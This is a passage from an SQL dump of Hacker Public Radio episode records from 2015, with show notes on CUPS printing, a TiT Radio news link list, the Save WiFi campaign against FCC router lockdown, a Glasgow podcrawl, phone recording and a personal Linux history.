href=\"https://hackerpublicradio.org/eps/hpr1864_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1864_full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol>\r\n<li>HP PSC 2410 PhotoSmart All-in-One printer: <a href=\"https://h10025.www1.hp.com/ewfrf/wc/product?cc=uk&amp;lc=en&amp;product=303753\" class=\"uri\">https://h10025.www1.hp.com/ewfrf/wc/product?cc=uk&amp;lc=en&amp;product=303753</a></li>\r\n<li><code>CUPS.org</code> main web site: <a href=\"https://www.cups.org/\" class=\"uri\">https://www.cups.org/</a></li>\r\n<li>CUPS Wikipedia entry: <a href=\"https://en.wikipedia.org/wiki/CUPS\" class=\"uri\">https://en.wikipedia.org/wiki/CUPS</a></li>\r\n<li>HP Linux Imaging and Printing (HPLIP): <a href=\"https://hplipopensource.com/hplip-web/index.html\" class=\"uri\">https://hplipopensource.com/hplip-web/index.html</a></li>\r\n<li><em>Scanner Access Now Easy</em> (SANE): <a href=\"https://en.wikipedia.org/wiki/Scanner_Access_Now_Easy\" class=\"uri\">https://en.wikipedia.org/wiki/Scanner_Access_Now_Easy</a></li>\r\n<li>&quot;<em>Converting the Raspberry Pi to a wireless print server</em>&quot; from the Raspberry Pi Geek magazine: <a href=\"https://www.raspberry-pi-geek.com/Archive/2013/01/Converting-the-Raspberry-Pi-to-a-wireless-print-server\" class=\"uri\">https://www.raspberry-pi-geek.com/Archive/2013/01/Converting-the-Raspberry-Pi-to-a-wireless-print-server</a></li>\r\n<li>Linux Foundation <em>OpenPrinting</em> work group: <a href=\"https://www.linuxfoundation.org/collaborate/workgroups/openprinting/\" class=\"uri\">https://www.linuxfoundation.org/collaborate/workgroups/openprinting/</a>\r\n<ul>\r\n<li>HP PSC 2400 series details: <a href=\"https://www.openprinting.org/printer/HP/HP-PSC_2400\" class=\"uri\">https://www.openprinting.org/printer/HP/HP-PSC_2400</a></li>\r\n</ul></li>\r\n<li>Arch Wiki on CUPS - Linux Server Windows Client: <a href=\"https://wiki.archlinux.org/index.php/CUPS_printer_sharing#Linux_server_-_Windows_client\" class=\"uri\">https://wiki.archlinux.org/index.php/CUPS_printer_sharing#Linux_server_-_Windows_client</a></li>\r\n<li>Internet Printing Protocol (IPP): <a href=\"https://en.wikipedia.org/wiki/Internet_Printing_Protocol\" class=\"uri\">https://en.wikipedia.org/wiki/Internet_Printing_Protocol</a></li>\r\n</ol>',225,0,1,'CC-BY-SA','printer,network,raspberry pi,CUPS,SANE',0,0,1),
(1866,'2015-09-28','An awkward talk with two young computer users',327,'Eric and Emily discuss operating systems, school and fun uses of computers.','<p>\r\nQuvmoh speaks with Eric 15 and Emily 10 about their computer usage and implore others to contribute to HPR\r\n</p>',110,0,0,'CC-BY-SA','young computer users',0,0,1),
(1873,'2015-10-07','TiT Radio 21 - I Thought I Had Better Links',4183,'TiT Radio rides again, again','<p>\r\nAnother installment of TiT Radio with Kevin Wisher, pegwole, netminer, and FiftyOneFifty\r\n</p>\r\n<p>\r\nSome of these links may have bee discussed during the show:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.androidpolice.com/2015/07/28/microsoft-releases-standalone-android-emulator-with-easy-instructions-to-use-it-with-android-studio-and-eclipse-with-adt/?v=1\">https://www.androidpolice.com/2015/07/28/microsoft-releases-standalone-android-emulator-with-easy-instructions-to-use-it-with-android-studio-and-eclipse-with-adt/?v=1</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/31XnPC\">https://ow.ly/31XnPC</a>\r\n</li>\r\n<li><a href=\"https://www.linuxinsider.com/story/82315.html?rss=1\">https://www.linuxinsider.com/story/82315.html?rss=1</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/QbXxn\">https://ow.ly/QbXxn</a>\r\n</li>\r\n<li><a href=\"https://www.tomshardware.com/news/google-accounts-disconnected-from-youtube,29684.html#xtor=RSS-997\">https://www.tomshardware.com/news/google-accounts-disconnected-from-youtube,29684.html#xtor=RSS-997</a>\r\n</li>\r\n<li><a href=\"https://www.theregister.co.uk/2015/07/27/debian_kills_sparc_support/\">https://www.theregister.co.uk/2015/07/27/debian_kills_sparc_support/</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/31YMWs\">https://ow.ly/31YMWs</a>\r\n</li>\r\n<li><a href=\"https://thenextweb.com/microsoft/2015/07/29/wind-nos/\">https://thenextweb.com/microsoft/2015/07/29/wind-nos/</a>\r\n</li>\r\n<li><a href=\"https://www.techradar.com/news/software/operating-systems/windows-10-has-a-start-menu-bug-1300603\">https://www.techradar.com/news/software/operating-systems/windows-10-has-a-start-menu-bug-1300603</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/QfNLz\">https://ow.ly/QfNLz</a>\r\n</li>\r\n<li><a href=\"https://hackaday.com/2015/07/29/operation-drone-rescue/\">https://hackaday.com/2015/07/29/operation-drone-rescue/</a>\r\n</li>\r\n<li><a href=\"https://www.streamingmedia.com/Articles/News/Online-Video-News/An-Unhappy-Surprise-MPEG-LA-Is-Forming-a-Patent-Pool-for-DASH-105419.aspx\">https://www.streamingmedia.com/Articles/News/Online-Video-News/An-Unhappy-Surprise-MPEG-LA-Is-Forming-a-Patent-Pool-for-DASH-105419.aspx</a>\r\n</li>\r\n<li><a href=\"https://www.infoq.com/news/2015/07/FCC-Blocks-Open-Source\">https://www.infoq.com/news/2015/07/FCC-Blocks-Open-Source</a>\r\n</li>\r\n<li><a href=\"https://thenextweb.com/apple/2015/08/04/macs-are-no-longer-immune-to-attacks-as-a-new-self-replicating-firmware-worm-demonstrates/\">https://thenextweb.com/apple/2015/08/04/macs-are-no-longer-immune-to-attacks-as-a-new-self-replicating-firmware-worm-demonstrates/</a>\r\n</li>\r\n<li><a href=\"https://thenextweb.com/gadgets/2015/07/29/i-shot-the-sheriff-my-hacked-rifle-shot-the-deputy/\">https://thenextweb.com/gadgets/2015/07/29/i-shot-the-sheriff-my-hacked-rifle-shot-the-deputy/</a>\r\n</li>\r\n<li><a href=\"https://techrights.org/2015/08/05/windows-as-malware/\">https://techrights.org/2015/08/05/windows-as-malware/</a>\r\n</li>\r\n<li><a href=\"https://engt.co/1DvClhP\">https://engt.co/1DvClhP</a>\r\n</li>\r\n<li><a href=\"https://www.cnn.com/2015/08/04/us/prison-yard-drone-drugs-ohio/\">https://www.cnn.com/2015/08/04/us/prison-yard-drone-drugs-ohio/</a>\r\n</li>\r\n<li><a href=\"https://www.openrightsgroup.org/blog/2015/should-file-sharers-face-ten-years-in-gaol\">https://www.openrightsgroup.org/blog/2015/should-file-sharers-face-ten-years-in-gaol</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/32jVzk\">https://ow.ly/32jVzk</a>\r\n</li>\r\n<li><a href=\"https://www.techpowerup.com/209925/nsa-hides-spying-backdoors-into-hard-drive-firmware.html\">https://www.techpowerup.com/209925/nsa-hides-spying-backdoors-into-hard-drive-firmware.html</a>\r\n</li>\r\n<li><a href=\"https://thehackernews.com/2015/08/android-endless-reboot-bug.html\">https://thehackernews.com/2015/08/android-endless-reboot-bug.html</a>\r\n</li>\r\n<li><a href=\"https://www.zdnet.com/article/no-a-windows-10-cloudbook-isnt-a-chromebook-killer/\">https://www.zdnet.com/article/no-a-windows-10-cloudbook-isnt-a-chromebook-killer/</a>\r\n</li>\r\n<li><a href=\"https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/\">https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/</a>\r\n</li>\r\n<li><a href=\"https://krebsonsecurity.com/2015/08/tech-firm-ubiquiti-suffers-46m-cyberheist/\">https://krebsonsecurity.com/2015/08/tech-firm-ubiquiti-suffers-46m-cyberheist/</a>\r\n</li>\r\n<li><a href=\"https://blogs.csc.com/2015/08/02/alibaba-wants-to-challenge-amazon-web-services-good-luck-with-that/\">https://blogs.csc.com/2015/08/02/alibaba-wants-to-challenge-amazon-web-services-good-luck-with-that/</a>\r\n</li>\r\n<li><a href=\"https://www.abc.net.au/news/2015-08-09/first-space-grown-vegetables-on-the-menu-for-nasa-astronauts/6683530\">https://www.abc.net.au/news/2015-08-09/first-space-grown-vegetables-on-the-menu-for-nasa-astronauts/6683530</a>\r\n</li>\r\n<li><a href=\"https://www.gamengadgets.com/smartphone-3d-hologram-viewer-in-action-video/\">https://www.gamengadgets.com/smartphone-3d-hologram-viewer-in-action-video/</a>\r\n</li>\r\n<li><a href=\"https://www.androidheadlines.com/2015/08/google-is-now-part-of-alphabet-inc.html\">https://www.androidheadlines.com/2015/08/google-is-now-part-of-alphabet-inc.html</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/32vesZ\">https://ow.ly/32vesZ</a>\r\n</li>\r\n<li><a href=\"https://www.itworld.com/article/2969215/blackberry-denies-its-os-was-to-blame-in-jeep-cherokee-hack.html\">https://www.itworld.com/article/2969215/blackberry-denies-its-os-was-to-blame-in-jeep-cherokee-hack.html</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.co.uk/gaming/2015/08/smach-zero-a-portable-x86-steam-machine-for-e300/\">https://arstechnica.co.uk/gaming/2015/08/smach-zero-a-portable-x86-steam-machine-for-e300/</a>\r\n</li>\r\n<li><a href=\"https://www.engadget.com/2015/08/11/google-alphabet\">https://www.engadget.com/2015/08/11/google-alphabet</a>\r\n</li>\r\n<li><a href=\"https://www.engadget.com/2015/08/11/pixar-open-sources-scene-description-tool\">https://www.engadget.com/2015/08/11/pixar-open-sources-scene-description-tool</a>\r\n</li>\r\n<li><a href=\"https://support.lenovo.com/us/en/product_security/lse_bios_notebook\">https://support.lenovo.com/us/en/product_security/lse_bios_notebook</a>\r\n</li>\r\n<li><a href=\"https://www.theregister.co.uk/2015/08/11/windows_10_download_bricks_pcs_kb3081424/\">https://www.theregister.co.uk/2015/08/11/windows_10_download_bricks_pcs_kb3081424/</a>\r\n</li>\r\n<li><a href=\"https://thenextweb.com/insider/2015/08/12/lenovo-used-a-hidden-windows-feature-to-ensure-its-software-could-not-be-deleted/\">https://thenextweb.com/insider/2015/08/12/lenovo-used-a-hidden-windows-feature-to-ensure-its-software-could-not-be-deleted/</a>\r\n</li>\r\n<li><a href=\"https://xiphmont.livejournal.com/67534.html\">https://xiphmont.livejournal.com/67534.html</a>\r\n</li>\r\n<li><a href=\"https://www.zdnet.com/article/oracle-to-sinner-customers-reverse-engineering-is-a-sin-youd-better-pack-it-in/\">https://www.zdnet.com/article/oracle-to-sinner-customers-reverse-engineering-is-a-sin-youd-better-pack-it-in/</a>\r\n</li>\r\n<li><a href=\"https://zd.net/1NrgHLR\">https://zd.net/1NrgHLR</a>\r\n</li>\r\n<li><a href=\"https://flip.it/w7ALS\">https://flip.it/w7ALS</a>\r\n</li>\r\n<li><a href=\"https://www.ifextechnologies.de/eng/what_is.php\">https://www.ifextechnologies.de/eng/what_is.php</a>\r\n</li>\r\n<li><a href=\"https://www.itworld.com/article/2971034/mobile/oracle-google-has-destroyed-the-market-for-java.html\">https://www.itworld.com/article/2971034/mobile/oracle-google-has-destroyed-the-market-for-java.html</a>\r\n</li>\r\n<li><a href=\"https://gizmodo.com/wow-samsungs-new-16-terabyte-ssd-is-the-worlds-largest-1723884725\">https://gizmodo.com/wow-samsungs-new-16-terabyte-ssd-is-the-worlds-largest-1723884725</a>\r\n</li>\r\n<li><a href=\"https://3dprint.com/88907/e-nable-1000-3d-hands\">https://3dprint.com/88907/e-nable-1000-3d-hands</a>\r\n</li>\r\n<li><a href=\"https://danwalsh.livejournal.com/72697.html\">https://danwalsh.livejournal.com/72697.html</a>\r\n</li>\r\n<li><a href=\"https://www.gizmag.com/bionic-sight-simulation/38823/\">https://www.gizmag.com/bionic-sight-simulation/38823/</a>\r\n</li>\r\n<li><a href=\"https://www.gizmag.com/astronauts-first-space-harvest-veggie-lettuce/38836/\">https://www.gizmag.com/astronauts-first-space-harvest-veggie-lettuce/38836/</a>\r\n</li>\r\n<li><a href=\"https://www.gizmag.com/hublot-antikythera-mechanism-first-computer-watch/20517/\">https://www.gizmag.com/hublot-antikythera-mechanism-first-computer-watch/20517/</a>\r\n</li>\r\n<li><a href=\"https://www.dailydot.com/technology/fcc-robot-lawnmower-roomba-irobot-wireless-signals\">https://www.dailydot.com/technology/fcc-robot-lawnmower-roomba-irobot-wireless-signals</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/QLhSn\">https://ow.ly/QLhSn</a>\r\n</li>\r\n<li><a href=\"https://www.gizmodo.co.uk/2015/08/lord-of-the-rings-minas-tirith-city-will-be-built-in-the-uk-if-1-85-billion-can-be-raised/\">https://www.gizmodo.co.uk/2015/08/lord-of-the-rings-minas-tirith-city-will-be-built-in-the-uk-if-1-85-billion-can-be-raised/</a>\r\n</li>\r\n<li><a href=\"https://www.androidheadlines.com/2015/08/google-x-now-free-grow-alphabet.html\">https://www.androidheadlines.com/2015/08/google-x-now-free-grow-alphabet.html</a>\r\n</li>\r\n<li><a href=\"https://techaeris.com/2015/08/14/latest-android-security-patch-said-flawed/\">https://techaeris.com/2015/08/14/latest-android-security-patch-said-flawed/</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20150813/06165631927/lmfao-band-sends-cease-desist-over-lmfao-beer.shtml\">https://www.techdirt.com/articles/20150813/06165631927/lmfao-band-sends-cease-desist-over-lmfao-beer.shtml</a>\r\n</li>\r\n<li><a href=\"https://trib.al/69Kqjig\">https://trib.al/69Kqjig</a>\r\n</li>\r\n<li><a href=\"https://www.boston.com/news/nation/2015/08/12/harvard-student-loses-facebook-internship-after-pointing-out-privacy-flaws/zASZFdUjn6PoliUiR9kVHJ/story.html\">https://www.boston.com/news/nation/2015/08/12/harvard-student-loses-facebook-internship-after-pointing-out-privacy-flaws/zASZFdUjn6PoliUiR9kVHJ/story.html</a>\r\n</li>\r\n<li><a href=\"https://interestingengineering.com/harvard-participates-in-telepathy-research\">https://interestingengineering.com/harvard-participates-in-telepathy-research</a>\r\n</li>\r\n<li><a href=\"https://www.npr.org/sections/alltechconsidered/2015/08/17/432601480/diy-tractor-repair-runs-afoul-of-copyright-law\">https://www.npr.org/sections/alltechconsidered/2015/08/17/432601480/diy-tractor-repair-runs-afoul-of-copyright-law</a>\r\n</li>\r\n<li><a href=\"https://www.theverge.com/2015/8/18/9172523/google-router-announced-onhub\">https://www.theverge.com/2015/8/18/9172523/google-router-announced-onhub</a>\r\n</li>\r\n<li><a href=\"https://www.buzzfeed.com/beimengfu/chinese-internet-is-very-very-quiet-after-china-arrested-150#.sd4kj3M3Q\">https://www.buzzfeed.com/beimengfu/chinese-internet-is-very-very-quiet-after-china-arrested-150#.sd4kj3M3Q</a>\r\n</li>\r\n<li><a href=\"https://ct.zdnet.com/clicks?t=1775481597-b8c17a26963072c724fcd782087ab8da-bf&amp;brand=ZDNET&amp;s=5\">https://ct.zdnet.com/clicks?t=1775481597-b8c17a26963072c724fcd782087ab8da-bf&amp;brand=ZDNET&amp;s=5</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.co.uk/tech-policy/2015/08/google-ordered-to-remove-links-to-stories-about-google-removing-links-to-stories/\">https://arstechnica.co.uk/tech-policy/2015/08/google-ordered-to-remove-links-to-stories-about-google-removing-links-to-stories/</a>\r\n</li>\r\n<li><a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=3&amp;cad=rja&amp;uact=8&amp;ved=0CCwQFjACahUKEwiz76mVgbvHAhWJF5IKHWgABOk&amp;url=-http%3A%2F%2Fwiki.openwrt.org%2Fdoc%2Fhowto%2Fwireless.tool.kismet&amp;ei=SonXVbOiNImvyATogJDIDg&amp;usg=AFQjCNFdw-OpYNJQs0-MT2klqwX60Q0SbA\">https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=3&amp;cad=rja&amp;uact=8&amp;ved=0CCwQFjACahUKEwiz76mVgbvHAhWJF5IKHWgABOk&amp;url=-http%3A%2F%2Fwiki.openwrt.org%2Fdoc%2Fhowto%2Fwireless.tool.kismet&amp;ei=SonXVbOiNImvyATogJDIDg&amp;usg=AFQjCNFdw-OpYNJQs0-MT2klqwX60Q0SbA</a> \r\n</li>\r\n<li><a href=\"https://www.theverge.com/2015/8/19/9179413/google-explains-project-ara-delay\">https://www.theverge.com/2015/8/19/9179413/google-explains-project-ara-delay</a>\r\n</li>\r\n<li><a href=\"https://l.facebook.com/l.php?u=-https%3A%2F%2Ftorrentfreak.com%2Fpolice-arrest-men-for-spreading-popcorn-time-information-150819%2F&amp;h=iAQFPFZzB\">https://l.facebook.com/l.php?u=-https%3A%2F%2Ftorrentfreak.com%2Fpolice-arrest-men-for-spreading-popcorn-time-information-150819%2F&amp;h=iAQFPFZzB</a> \r\n</li>\r\n<li><a href=\"https://www.schneier.com/blog/archives/2015/08/nasty_cisco_att.html\">https://www.schneier.com/blog/archives/2015/08/nasty_cisco_att.html</a>\r\n</li>\r\n<li><a href=\"https://www.theverge.com/2015/8/21/9187131/google-life-sciences-becomes-first-alphabet-company?utm_campaign=theverge&amp;utm_content=chorus&amp;utm_medium=social&amp;utm_source=twitter\">https://www.theverge.com/2015/8/21/9187131/google-life-sciences-becomes-first-alphabet-company?utm_campaign=theverge&amp;utm_content=chorus&amp;utm_medium=social&amp;utm_source=twitter</a>\r\n</li>\r\n<li><a href=\"https://news.mit.edu/2015/solid-state-rechargeable-batteries-safer-longer-lasting-0817\">https://news.mit.edu/2015/solid-state-rechargeable-batteries-safer-longer-lasting-0817</a>\r\n</li>\r\n<li><a href=\"https://www.wired.co.uk/news/archive/2014-12/02/stephen-hawking-intel-communication-system\">https://www.wired.co.uk/news/archive/2014-12/02/stephen-hawking-intel-communication-system</a>\r\n</li>\r\n<li><a href=\"https://www.extremetech.com/extreme/181284-human-consciousness-is-simply-a-state-of-matter-like-a-solid-or-liquid-but-quantum\">https://www.extremetech.com/extreme/181284-human-consciousness-is-simply-a-state-of-matter-like-a-solid-or-liquid-but-quantum</a>\r\n</li>\r\n<li><a href=\"https://www.bleepingcomputer.com/forums/t/588383/sites-using-drwebs-torrentlocker-decryption-taking-advantage-of-victims\">https://www.bleepingcomputer.com/forums/t/588383/sites-using-drwebs-torrentlocker-decryption-taking-advantage-of-victims</a>\r\n</li>\r\n<li><a href=\"https://linux.slashdot.org/story/15/08/29/1526217/systemd-absorbs-su-command-functionality\">https://linux.slashdot.org/story/15/08/29/1526217/systemd-absorbs-su-command-functionality</a>\r\n</li>\r\n<li><a href=\"https://bgr.com/2015/08/27/ashley-madison-hack-man-responsible/\">https://bgr.com/2015/08/27/ashley-madison-hack-man-responsible/</a>\r\n</li>\r\n<li><a href=\"https://www.cnbc.com/2015/08/28/how-one-small-business-makes-electrical-engineering-easy.html\">https://www.cnbc.com/2015/08/28/how-one-small-business-makes-electrical-engineering-easy.html</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.com/tech-policy/2015/08/op-ed-lexmarks-war-against-a-man-who-recycles-toner-cartridges/\">https://arstechnica.com/tech-policy/2015/08/op-ed-lexmarks-war-against-a-man-who-recycles-toner-cartridges/</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/33p83A\">https://ow.ly/33p83A</a>\r\n</li>\r\n<li><a href=\"https://nextbsd.org/\">https://nextbsd.org/</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.com/security/2015/08/fake-eff-site-serving-espionage-malware-was-likely-active-for-3-weeks/\">https://arstechnica.com/security/2015/08/fake-eff-site-serving-espionage-malware-was-likely-active-for-3-weeks/</a>\r\n</li>\r\n<li><a href=\"https://ow.ly/3y9UkP\">https://ow.ly/3y9UkP</a>\r\n</li>\r\n<li><a href=\"https://www.phoronix.com/scan.php?page=news_item&amp;px=LILO-Bootloader-EOY\">https://www.phoronix.com/scan.php?page=news_item&amp;px=LILO-Bootloader-EOY</a>\r\n</li>\r\n<li><a href=\"https://www.danablankenhorn.com/2015/09/the-public-interest.html\">https://www.danablankenhorn.com/2015/09/the-public-interest.html</a>\r\n</li>\r\n<li><a href=\"https://n0where.net/quick-android-review-kit-qark\">https://n0where.net/quick-android-review-kit-qark</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/blog/wireless/articles/20150831/07164532118/no-fcc-is-not-intentionally-trying-to-kill-third-party-wi-fi-router-firmware.shtml\">https://www.techdirt.com/blog/wireless/articles/20150831/07164532118/no-fcc-is-not-intentionally-trying-to-kill-third-party-wi-fi-router-firmware.shtml</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',131,30,1,'CC-BY-SA','TiT Radio',0,0,1),
(1860,'2015-09-18','FiftyOneFifty interviews Chris Waid of Save WiFi',8226,'This could be the most important podcast you listen to this year','<p>\r\nThe Save WiFi program has been instituted to combat the greatest threat the open source movement has faced from government over regulation.  If you have listened to LinuxLUGCast.com, The Linux Link Tech Show, Linux for the Rest od US,or HPR recently, you may already be aware that recent decisions by the FCC have already forced router manufactures to lock down their equipment against the installation of non factory firmware.  My guest, Chris Waid, CEO of Think Penguin and a leader in the Save WiFi project, joins me to explain how Linux on the desktop may also become subject to FCC regulation.  As manufacturers incorporate more Software Defined Radio into PC\'s, the FCC may feel it has no choice but to lock down (or lock out), not only open source software, but any software that is not pre vetted and pre certified, even on proprietery OS\'s.\r\n</p>\r\n<p>\r\nRight now, there is a narrow window where the FCC has invited comment from the public, and Hacker Public Radio invites all our listeners to add their voices against this ill advised course of action.\r\n</p>\r\n<ul>\r\n<li>The Save WiFi program: <a href=\"https://libreplanet.org/wiki/Save_WiFi/Individual_Comments\">https://libreplanet.org/wiki/Save_WiFi/Individual_Comments</a>\r\n</li>\r\n<li>FCC comentary link: <a href=\"https://www.federalregister.gov/articles/2015/09/01/2015-21634/extension-of-time-for-comments-on-equipment-authorization\">https://www.federalregister.gov/articles/2015/09/01/2015-21634/extension-of-time-for-comments-on-equipment-authorization</a>\r\n</li>\r\n</ul>\r\n<p>\r\nThere is one small saving grace.  Kevin Wisher found an Ars Technica article where an unnamed FFC spokesman seems to be saying locking open source firmware out of routers was not the intended consequence (even though Open-WRT was mentioned by name in the updated rules).  I think the FCC might prefer manuafacturers avoid incorporating radio hardware that is so easily manipulated:\r\n<a href=\"https://arstechnica.com/information-technology/2015/09/fcc-accused-of-locking-down-wi-fi-routers-but-the-truth-is-a-bit-murkier/\">https://arstechnica.com/information-technology/2015/09/fcc-accused-of-locking-down-wi-fi-routers-but-the-truth-is-a-bit-murkier/</a>\r\n</p>\r\n<p>\r\nI want to give special thanks to Chris Waid for going above and beyond for recording our conversation because I was having ISP problems.  I want to appologize in advance for any audio problems, I was way low and had to fix it in post.\r\n</p>\r\n\r\n',131,78,1,'CC-BY-SA','Save WiFi,router,FCC',0,0,1),
(1868,'2015-09-30','Glasgow Podcrawl review',2908,'The intrepid Glasgow Podcrawlers meet to discuss their experiences back in July','<h2 id=\"glasgow-podcrawl-review\">Glasgow Podcrawl review</h2>\r\n<p>The second <a href=\"https://hackerpublicradio.org/eps.php?id=1788\">Glasgow Podcrawl</a> took place on the 10th of July 2015. The participants were:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\">Kevie</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway (aka mcnalu)</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n<li><a href=\"https://www.linuxvoice.com/about-2/\">Andrew Gregory</a></li>\r\n</ul>\r\n<p>The event started at 6pm in the <em>State Bar</em> on Holland Street, moved on to the <em>Bon Accord</em>, the <em>Inn Deep</em> and finally to the <em>Three Judges</em>.</p>\r\n<p>Dave Morriss departed after visiting the second bar to head back to Edinburgh, but everyone else lasted to the very end!</p>\r\n<p>In this episode hear the details of this singular event, and a whole lot about many other things.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://kmacphail.blogspot.co.uk/2015/01/podcrawl-glasgow-2015.html\" class=\"uri\">https://kmacphail.blogspot.co.uk/2015/01/podcrawl-glasgow-2015.html</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','Glasgow,Podcrawl,review',0,0,1),
(1872,'2015-10-06','Sim City BuildIt September 2015',1417,'I talk about one of my favorite games sim city buildit','<p>\r\nDefinately focus on getting enough golden keys as it allows you to get some very good buildings\r\n</p>',297,0,0,'CC-BY-SA','games, iPad, android, google play',0,0,1),
(1876,'2015-10-12','MicrobeLog, or: On Shaving Yaks and Doing Things',561,'Why I\'m making an HPR episode, and why I\'m making a vaporware social network engine','<p>\r\nThe MicrobeLog overview: <a href=\"https://gitlab.com/microbelog/manifest\">https://gitlab.com/microbelog/manifest</a>\r\n</p>\r\n<p>\r\nhpr1726 :: 15 Excuses not to Record a show for HPR:\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=1726\">https://hackerpublicradio.org/eps.php?id=1726</a>\r\n</p>\r\n<p>\r\nI think I\'ve pretty much had to fight excuses 5, 7, 10 and 12. :-)\r\n</p>',311,0,0,'CC-BY-SA','federation, python, microservices, gtd, yakshaving',0,0,1),
(1877,'2015-10-13','Recording HPR on the fly on your Android phone',378,'How quickly can you get an HPR recording done? 10 minutes including app install! Sort of.','<p>This episode was produced entirely on my phone, including upload.</p>\r\n\r\n<p>Apologies for the atrocious sound quality and the low volume. Consider it performance art. I know I need to speak closer to the phone next time. There\'s DroidGain, but I guess it only accepts mp3.</p>\r\n\r\n<p>TL;DL: Install Urecord from F-Droid, choose 44.1 kHz, RECORD!</p>\r\n\r\n\r\n<p>I estimate the total amount of time spent on this episode at:</p>\r\n<ul>\r\n<li>20 mins &ndash; installing apps on two phones</li>\r\n<li>20 mins &ndash; evaluate apps on two phones (while cooking!)</li>\r\n<li>6 mins &ndash; record episode</li>\r\n<li>10 mins &ndash; update HPR user profile</li>\r\n<li>30 mins &ndash; write show notes (while having dinner!)</li>\r\n<li>15 mins &ndash; figure out how to upload this thing from a phone</li>\r\n<li>?? &ndash; upload episode</li>\r\n</ul>\r\n\r\n<p>A large part of the typing time was angle brackets. HATE screen input. I want a modern phone with sliding QWERTY like the good old X10 Mini Pro, or maybe the slightly larger HTC Desire Z. Apparently the market doesn\'t. :-(</p>\r\n\r\n<p>Wow, turns out the difficult part was to upload the file. Had to use a file manager as a \"provider\" for Firefox to get the \"document\" from.</p>\r\n',311,0,1,'CC-BY-SA','android, hpr, audio, recording',0,0,1),
(1881,'2015-10-19','My road to Linux',912,'I\'m so old I actually installed Watchtower on an Amiga and I review 22 years of Linux distributions','<p>I went against my own recommendations from <a \r\nhref=\"https://hackerpublicradio.org/eps.php?id=1877\">my previous episode</a> \r\nand used Rehearsal Assistant, because it can rename files inside the app. \r\nWell, turns out it records at 8 kHz and encodes it as 3GPP.</p>\r\n\r\n<p>Sound quality: Yes, it\'s at a terrible sample rate, but you can \r\nhear what I\'m saying and at least I\'m Holding It Right.\r\nThere\'s no problem with sudden drops in \r\nlevel.</p>\r\n\r\n<p>Do as I say, don\'t do as I do. Use\r\n<a href=\"https://f-droid.org/repository/browse/?fdfilter=urecord&fdid=cc.co.eurdev.urecorder\">Urecord</a>,\r\nwhich is obviously \r\npronounced <q>you record</q> as in telling someone to record something, not \r\n<q>you record!</q> as in insulting someone by comparing them to a vinyl disc. \r\nDon\'t say as I say.</p>\r\n\r\n<p><a href=\"https://slirp.sourceforge.net/\">Slirp</a> can use either SLIP or \r\nPPP. I think I used Slirp with SLIP, and there was some other connection \r\nmethod that provided PPP directly without logging in and running a command. \r\nMaybe their getty even understood the PPP blurb and just went directly to \r\npppd. Anyway, my Amiga-side software didn\'t support it. When I switched to \r\nLinux I was able to use the other method and just talk PPP directly and \r\nauthorize using CHAP.</p>\r\n\r\n<p>Debian <a href=\"https://www.linux-m68k.org/dists.html\">didn\'t support Amiga\r\nuntil Debian Hamm</a>, which was released in 1998. So I didn\'t have much\r\nchoice but to run Watchtower and compile my own stuff. By 1998 the Amiga was\r\nalready gathering dust in my wardrobe back at my parents\' place, while my PC\r\nand I were preparing to travel the seas with the Swedish Royal Navy and\r\nhang out (not really) with David Letterman on Saint Barths.</p>\r\n\r\n<p><a href=\"https://en.wikipedia.org/wiki/UserLinux\">Wikipedia</a> says that \r\nyes, it was Bruce Perens who tried to get UserLinux going, but they claim \r\nUbuntu killed it. I don\'t remember UserLinux getting any traction at all. I \r\nthink it\'s more accurate to say that Ubuntu put the last nail in its coffin. \r\nLWN <a href=\"https://lwn.net/Articles/151642/\">seems to agree</a>: <em><q>The \r\nimmediate cause of death was an inability to deliver software. Today there \r\nstill is no real delivered product, over three months after the release of \r\nDebian Sarge.</q></em></p>\r\n\r\n<p>But the same article reveals that I was completely wrong about Bruce \r\ntrying to gather existing vendors together: <em><q>It was occasionally \r\nconfused with UnitedLinux by people familiar with the Linux market. \r\nUnitedLinux is the old Caldera, Conectiva, SUSE and Turbolinux \r\ninitiative.</q></em> Yeah, I was thinking of the one with Turbolinux in it. \r\nThat name rings a bell. But I thought Turbolinux was Finnish. Apparently they \r\nwere Japanese. Or <a href=\"https://www.turbolinux.com/\">actually</a>, \r\napparently they <em>are</em> Japanese.</p>\r\n\r\n<p>Ah yes, <a \r\nhref=\"https://wayback.archive.org/web/20020201162513/https://www.bestlinux.net/en/\">Best Linux</a>, that was the Finnish one.</p>\r\n\r\n<p>I know that <a \r\nhref=\"https://www.gnu.org/software/guix/manual/html_node/Introduction.html\">guix\r\nis pronounced <q>geeks</q></a>. I just don\'t know it in my heart. Just \r\nlike I actually think GNU/Linux is the better descriptive term, but I keep \r\ntalking about the <q>Linux ecosystem</q>* etc, where 95% of that ecosystem is \r\nabstracted away from Linux by glibc and runs just as well 